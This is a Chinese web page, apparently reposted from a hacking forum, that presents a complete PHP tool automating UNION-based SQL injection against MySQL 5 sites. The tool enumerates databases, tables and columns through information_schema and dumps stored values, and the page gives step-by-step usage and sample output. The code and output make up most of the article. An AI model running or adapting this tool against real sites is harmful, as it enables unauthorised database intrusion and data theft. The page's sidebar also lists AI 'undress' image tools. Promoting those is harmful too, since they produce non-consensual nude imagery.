首页 php教程 php手册 php+mysql 5 sql injection 暴取工具beta版

php+mysql 5 sql injection 暴取工具beta版

Jun 13, 2016 am 10:30 AM
beta m php+mysql sql 作者 八进制 工具 文章

文章作者:mika 来自于:邪恶八进制

mysql出来5版本以后,注入漏洞要比以前更容易利用了,也可以像mssql那样直接暴取了(甚至比mssql更容易了,因为mssql暴取是需要错误提示开启的,如果错误提示关闭的话,是需要暴力猜解的,而mysql的只要你找准注入点只要可以union出任何一个字段能在页面显示出来就可以了)。自从读了flyh4t的文章《Mysql5注射技巧总结》就一直想测试一下,结果我发现很多的站都更新到了这个版本,于是测试得不易乐呼~~~ 为了节省力气,自然是运用了自己所学的知识写个简单的工具自动暴取,比起手工来要省事多了。觉得会有许多朋友需要这样的工具,我虽然在网上找过包括最新的 pangolin,但是测试结果都不尽如人意。还是自己写的用起来顺手。其实代码没什么技术,但是本着共享的精神,算是提供个工具给大家吧,大家不要笑我哦
工具是php写的(因为俺觉得就这个写起来方便),代码如下:
error_reporting(7);
echo " Mysql ver 5 sql injection exploiter coded by Mika[EST] ";
if($argc>7 || $argc {
echo Usage:$argv[0] -t [table] [-f -c [condition]]
INFO;
die;
}
//****************************************************************************
$url="http://www.vul.com/display_msg.php?id=432%20and%201=2%20union%20select%201,2,3,4,5,MIKA_MIKA,7,8";
$db_name="vuldb";
//****************************************************************************
$curl=curl_init();
curl_setopt($curl,CURLOPT_HEADER,0);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_PROXY,"127.0.0.1:8080");

function find_value($url){
global $curl;
//echo $url." ";
curl_setopt($curl,CURLOPT_URL,$url);
$content=curl_exec($curl);
//echo $content;
$re=preg_match("/(||.+?||)/i",$content,$result);
//echo $content;
if($re)
{
//return str_replace(||,,$result[1]);
return $result[1];
}
return 0;
}

function str2ascii($str){
$temp="char(";
for($i=0;$i//echo $str[$i]." ";
$temp.=ord($str[$i]).,;
}
$temp.=ord($str[strlen($str)-1]).);
//echo $temp." ";
return $temp;
}

function exploit_db(){
global $url,$curl;
$new_url=str_replace(MIKA_MIKA,concat(0x7C7C,SCHEMA_NAME,0x7C7C),$url);
$new_url.="%20from%20information_schema.SCHEMATA%20limit%20MIKA_MIKA,1/*";
$i=0;
echo "DATABASES: ";
do{
$new=str_replace(MIKA_MIKA,$i,$new_url);
if($v1=find_value($new))
echo $v1." ";
$i++;
}while($v1);
}

function exploit_tab(){
global $url,$db_name,$curl;
$new_url=str_replace(MIKA_MIKA,concat(0x7C7C,TABLE_NAME,0x7C7C),$url);
$new_url.="%20from%20information_schema.TABLES%20where%20TABLE_SCHEMA=".str2ascii($db_name)."%20limit%20MIKA_MIKA,1/*";
echo "Tables of database ".strtoupper($db_name)." : ";
$i=0;
do{
$new=str_replace(MIKA_MIKA,$i,$new_url);
if($v1=find_value($new))
echo $v1." ";
$i++;
}while($v1);
}

function exploit_field(){
global $table_name,$url,$curl;
$new_url=str_replace(MIKA_MIKA,concat(0x7C7C,COLUMN_NAME,0x7C7C),$url);
$new_url.="%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=".str2ascii($table_name)."%20limit%20MIKA_MIKA,1/*";
$i=0;
echo "columns of table ".strtoupper($table_name)." : ";
do{
$new=str_replace(MIKA_MIKA,$i,$new_url);
if($v1=find_value($new))
echo $v1." ";
$i++;
}while($v1);
}

function exploit_value($mode=0){
global $db_name,$table_name,$field_name,$condition,$url,$curl;
$new_url=str_replace(MIKA_MIKA,concat(0x7C7C,MIKA_MIKA,0x7C7C),$url);
if($mode)
{
$new_url.="%20from%20$db_name.$table_name%20where%20$condition/*";
$new=str_replace(MIKA_MIKA,$field_name,$new_url);
$v1=find_value($new);
echo $v1." ";
return;
}
$new_url.="%20from%20$db_name.$table_name%20limit%20MIKA_NUM,1/*";
$new_url=str_replace(MIKA_MIKA,$field_name,$new_url);
$i=0;
echo "$field_name values of table ".strtoupper($table_name)." : ";
do{
$new=str_replace(MIKA_NUM,$i,$new_url);
if($v1=find_value($new))
echo $v1." ";
$i++;
}while($v1);
}

switch($argc){
case 2:
if($argv[1]==-t)
exploit_tab();
if($argv[1]==-d)
exploit_db();
break;
case 3:
$table_name=$argv[2];
exploit_field();
break;
case 5:
case 6:
$table_name=$argv[2];
$field_name=$argv[4];
exploit_value();
break;
case 7:
$table_name=$argv[2];
$field_name=$argv[4];
$condition=$argv[6];
exploit_value(1);
break;
}

?>
代码非常简单,而且我省了很多的力,只是一个非常粗糙的版本,完全是怎么方便怎么来的。但是满足暴取字段值什么的足够了,下面我简单解释一下吧:
在两个//*********之间的参数是需要直接在代码中修改的,因为太长了,放到命令行下改太麻烦,所以还是直接放代码里好。其中$url很明显就是有漏洞的url,要连union一起,就像代码里写的那样,如下:
http://www.vul.com/display_msg.p ... 0union%20select%201,2,3,4,5,6,7,8
比如第6个数字会在页面上显示,那么你就将数字6替换成“MIKA_MIKA”,而且最后不要跟注释符(因为程序会在提交的时候自动加上),最终的url如下:
$url="http://www.vul.com/display_msg.php?id=432%20and%201=2%20union%20select%201,2,3,4,5,MIKA_MIKA,7,8";
另外$db_name是数据库名字,你可以直接用database()函数获取到,然后填到这里。

填完以后就可以用了,非常简单。打开cmd,切换到程序所在的目录,比如说暴取所有的数据库,可以这样用:
 F:scriptsphpmine>php mysql5.php -d
 Mysql ver 5 sql injection exploiter

 coded by Mika[EST]

 DATABASES:
 ||information_schema||
 ||vuldb||
暴取表名:
 F:scriptsphpmine>php mysql5.php -t
 Mysql ver 5 sql injection exploiter

 coded by Mika[EST]

 Tables of database VULDB :
 ||Articles||
 ||Audio||
 .
 .
 .
 省略
 .
 .
 .
暴取字段名:
 F:scriptsphpmine>php mysql5.php -t Articles
 Mysql ver 5 sql injection exploiter

 coded by Mika[EST]

 columns of table ARTICLES :
 ||ID||
 ||Article_ID||
 ||Title||
 ||Type||
 .
 .
 .
 省略
 .
 .
 .
暴取值:
 F:scriptsphpmine>php mysql5.php -t Articles -f Type
 Mysql ver 5 sql injection exploiter

 coded by Mika[EST]

 Type values of table ARTICLES :
 ||2||
 ||1||
 .
 .
 .
 省略
 .
 .
 .
另外你想加入自己的条件的话,可以在最后在加上-c参数然后再跟上where条件来限定(不要带where),比如:
 F:scriptsphpmine>php mysql5.php -t Articles -f ID -c Type=2
 Mysql ver 5 sql injection exploiter

 coded by Mika[EST]

 ||58||
程序很简陋,但基本功能算是有了,俺也只是想到哪写到哪,所以以后有什么完善一定拿上来跟大家分享。代码里难免有错误和可以改进的地方,还请大家多帮忙一起修改。另外,代码里有这一行:
curl_setopt($curl,CURLOPT_PROXY,"127.0.0.1:8080");
这是为了使用代理的,如果不需要可以直接注释掉。

声明:转载请保持完整,另外真的希望大家都不要太吝啬,有了修改有了添加,还希望能拿出来跟大家一起分享,虽然俺的代码不怎么样

本站声明
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

热AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover

AI Clothes Remover

用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool

Undress AI Tool

免费脱衣服图片

Clothoff.io

Clothoff.io

AI脱衣机

Video Face Swap

Video Face Swap

使用我们完全免费的人工智能换脸工具轻松在任何视频中换脸!

热门文章

<🎜>:泡泡胶模拟器无穷大 - 如何获取和使用皇家钥匙
3 周前 By 尊渡假赌尊渡假赌尊渡假赌
北端:融合系统,解释
3 周前 By 尊渡假赌尊渡假赌尊渡假赌
Mandragora:巫婆树的耳语 - 如何解锁抓钩
3 周前 By 尊渡假赌尊渡假赌尊渡假赌

热工具

记事本++7.3.1

记事本++7.3.1

好用且免费的代码编辑器

SublimeText3汉化版

SublimeText3汉化版

中文版,非常好用

禅工作室 13.0.1

禅工作室 13.0.1

功能强大的PHP集成开发环境

Dreamweaver CS6

Dreamweaver CS6

视觉化网页开发工具

SublimeText3 Mac版

SublimeText3 Mac版

神级代码编辑软件(SublimeText3)

热门话题

Java教程
1667
14
CakePHP 教程
1426
52
Laravel 教程
1328
25
PHP教程
1273
29
C# 教程
1255
24
币安广场怎么样可靠吗 币安广场怎么样可靠吗 May 07, 2025 pm 07:18 PM

币安广场(Binance Square)是币安交易所提供的一个社交媒体平台,旨在为用户提供一个交流和分享加密货币相关信息的空间。本文将详细探讨币安广场的功能、可靠性以及用户体验,帮助你更好地了解这个平台。

ok交易所国内如何注册?ok交易平台大陆新手注册使用指南 ok交易所国内如何注册?ok交易平台大陆新手注册使用指南 May 08, 2025 pm 10:51 PM

在加密货币市场中,选择一个可靠的交易平台是至关重要的。OK交易平台作为全球知名的数字资产交易所,吸引了大量大陆新手用户。本指南将详细介绍如何在OK交易平台上进行注册和使用,帮助新手用户快速上手。

MySQL:SQL的实际应用 MySQL:SQL的实际应用 May 08, 2025 am 12:12 AM

MySQL受欢迎的原因是其性能卓越且易于使用和维护。1.创建数据库和表:使用CREATEDATABASE和CREATETABLE命令。2.插入和查询数据:通过INSERTINTO和SELECT语句操作数据。3.优化查询:使用索引和EXPLAIN语句提升性能。

2025年十大数字虚拟币交易APP排行 十大数字币交易所app汇总 2025年十大数字虚拟币交易APP排行 十大数字币交易所app汇总 May 08, 2025 pm 05:24 PM

2025年十大数字虚拟币交易APP排行:1. Binance:全球领先,提供高效交易和多种金融产品。2. OKX:创新多样,支持多种交易类型。3. Huobi:稳定可靠,服务优质。4. Coinbase:新手友好,界面简洁。5. Kraken:专业交易者首选,工具强大。6. Bitfinex:高效交易,交易对丰富。7. Bittrex:安全合规,监管合作。

期货交易平台TOP10:永续合约与期权交易 期货交易平台TOP10:永续合约与期权交易 May 08, 2025 pm 07:12 PM

在加密货币市场中,期货交易平台扮演着重要角色,尤其是在永续合约和期权交易方面。以下是当前市场上备受推崇的十大期货交易平台,并详细介绍它们在永续合约和期权交易方面的特点和优势。

欧意OKX6.118.0版本最新下载教程 欧意OKX6.118.0版本最新下载教程 May 07, 2025 pm 06:51 PM

欧意OKX6.118.0版本最新下载教程:1、点击文章中快捷链接;2、点击下载即可(如果是网页用户请先进行信息注册)。最新安卓版本v6.118.0优化了部分功能和体验,让交易更容易。立即更新App,感受更加极致的交易体验。

2025币安Binance交易所最新登录入口 2025币安Binance交易所最新登录入口 May 07, 2025 pm 07:03 PM

币安(Binance)作为全球领先的加密货币交易所,始终致力于为用户提供安全、便捷的交易体验。随着时间的推移,币安不断优化其平台功能和用户界面,以满足用户不断变化的需求。2025年,币安推出了新的登录入口,旨在进一步提升用户体验。

全球十大支持多链交易的加密货币平台2025年权威发布 全球十大支持多链交易的加密货币平台2025年权威发布 May 08, 2025 pm 07:15 PM

根据 2025 年权威机构的最新评估和行业趋势,以下是全球十大支持多链交易的加密货币平台,结合交易量、技术创新、合规性及用户口碑综合分析:

See all articles